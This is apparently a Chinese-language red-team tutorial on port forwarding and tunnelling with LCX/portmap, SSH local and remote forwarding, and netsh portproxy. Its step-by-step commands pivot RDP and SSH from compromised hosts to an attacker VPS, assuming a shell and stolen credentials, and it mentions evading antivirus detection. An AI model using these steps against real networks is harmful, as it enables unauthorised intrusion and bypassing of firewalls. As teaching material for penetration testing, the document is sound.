隧道代理-端口转发相关工具
LCX
LCX是一款内网端口转发工具,分为Windows版和Linux版,Linux版本为PortMap。LCX有端口映射和端口转发两大功能,例如:当目标的3389端口只对内开放而不对外开放时,可以使用端口映射将3389端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略只允许访问某一固定端口时,可以通过端口转发突破限制
目前很多杀软已经将LCX加入了特征库,所以在实际利用时需要自行做免杀处理
Windows版的LCX用法:
Usage:lcx.exe -<listen|tran|slave> <option> [-log logfile]
-tran <等待连接的端口> <目标ip> <目标端口> (端口映射)
-listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口> (端口转发)
-slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口> (端口转发)
Linux版的LCX用法:
linux下的工具名为portmap
Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2
使用案例
-
目标机有公网IP:
已获取windows主机的shell,上线CS,且已抓取到账户密码,开启了3389但RDP远连失败,推测可能被防火墙拦了,此时可以使用lcx进行端口转发:
-
将LCX上传至windows主机
-
在攻击机上执行命令:
lcx.exe -listen 53 1111 #监听本地53端口并转发到本地1111端口,这里选择53是因为DNS端口一般不会被ban
-
在CS的windows shell上执行:
lcx.exe -slave [攻击机IP] 53 127.0.0.1 3389 #将本机3389端口转发到攻击机的53端口
-
RDP连接:
127.0.0.1:1111
,即可成功连接被攻击windows主机的远程桌面,且未被防火墙拦截
-
-
目标机无公网IP:
已获取内网windows主机的shell,上线CS,且已抓取到账户密码,开启了3389,但内网主机无法直接RDP远连,此时也可以使用lcx,配合公网vps进行端口转发:
-
将LCX上传至windows主机
-
在公网vps上使用lcx:
./portmap -m 2 -p1 54 -p2 1111
-
在CS的windows shell上执行:
shell lcx.exe -slave [vps公网IP] 54 127.0.0.1 3389
-
RDP连接:
[vps公网IP]:1111
,即可成功连接被攻击windows主机的远程桌面
-
-
端口映射:
有如下拓扑:
获取外网主机shell后,发现内网存在一台MySQL服务器,且已收集到MySQL服务器的SSH登录凭证,由于其处于内网无法直接SSH连接,所以考虑使用LCX将MySQL的22端口映射到WEB服务器上
-
在web服务器上执行命令:
lcx.exe -tran 2222 [MySQL服务器内网IP] 22
-
经过端口映射,即可直接SSH连接MySQL:
ssh root@[WEB服务器IP] -p 2222
-
SSH
ssh是linux主机自带的程序,攻击者无需上传第三方工具即可实现端口转发,这使得ssh的使用更加方便
ssh通过远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP、端口转发等功能
常用参数
- -c:请求压缩所有数据
- -D:动态转发(类似socks代理)
- -f:后台执行SSH指令
- -g:允许远程主机连接主机的转发端口
- -L:本地转发(可理解为正向)
- -N:不执行远程指令,处于等待模式
- -R:远程转发(可理解为反向)
这里仅对端口转发(本地和远程转发)功能进行介绍
本地转发(正向)
有如下场景,外网linux主机已经getshell,已知内网windows主机的3389开启且已获得内网主机的账户密码,可尝试通过使用ssh进行端口转发来RDP登录内网主机:
-
在外网linux上使用ssh进行端口本地转发
ssh -CfNg -L [本地端口]:[内网主机IP]:[内网主机端口] [外网主机IP]
-
比如这里转发3389:
ssh -CfNg -L 5678:[内网主机IP]:3389 [外网主机IP] #执行命令后输入获取到的内网主机账户密码
-
接下来即可RDP连接
[外网主机IP]:5678
,实现登录内网主机桌面
同理,如果内网的web服务存在漏洞,也可以将对应端口转发到外网主机进行访问和相应漏洞利用
远程转发(反向)
有如下场景,通过钓鱼获取了内网linux主机A的shell,已知内网linux主机B的3389开启,且已获得内网linux主机的root用户密码,可尝试通过使用ssh进行端口转发给vps,vps再使用ssh登录内网主机
-
在内网主机A上使用ssh进行端口远程转发:
ssh -CfNg -R [本地端口]:[A主机IP]:[内网主机端口] [外网主机IP]
-
比如这里转发22(ssh):
ssh -CfNg -R 7890:[B主机IP]:22 [攻击者vps IP] #执行命令后输入公网服务器密码
-
接下来即可在vps上访问相应端口(该方法只能本地访问端口)进行ssh登录:
ssh root@127.0.0.1 -p 7890
动态转发
动态转发类似SOCKS代理,不仅仅是针对么某一个端口进行转发,在我介绍代理的文章细说,这里不做赘述
NETSH
netsh是windows系统自带命令行程序,攻击者也无需上传第三方工具即可利用netsh程序可进行端口转
发操作,可将内网中其他服务器的端口转发至本地访问
注:运行该工具需要管理员的权限
使用场景
拓扑如下:攻击者已获取外网windows主机A的shell和内网linux主机的root用户密码,但无法直接访问内网Linux主机B。此时可以借助B机器上的netsh命令进行端口转发访问机器C的端口(注意只能访问端口)
-
在主机A的shell上使用netsh进行端口转发:
netsh interface portproxy add v4tov4 listenaddress=[外网主机IP] listenport=[外网主机端口] connectport=[内网主机端口] connectaddress=[内网主机IP]
-
比如这里转发内网主机B的22端口到外网主机A的9999端口
netsh interface portproxy add v4tov4 listenaddress=[外网主机IP] listenport=9999 connectport=22 connectaddress=[内网主机IP]
-
查看是否开启转发
netsh interface portproxy show v4tov4
-
若成功开启,即可在攻击机上ssh连接外网主机A的9999端口,从而登录内网主机B:
ssh root@[外网主机IP] -p 9999
-
结束后删除转发如下:
netsh interface portproxy delete v4tov4 listenaddress=[外网主机IP] listenport=9999
端口转发的局限性
每次只能对单个端口进行转发,在针对多个端口甚至主机的渗透过程不够方便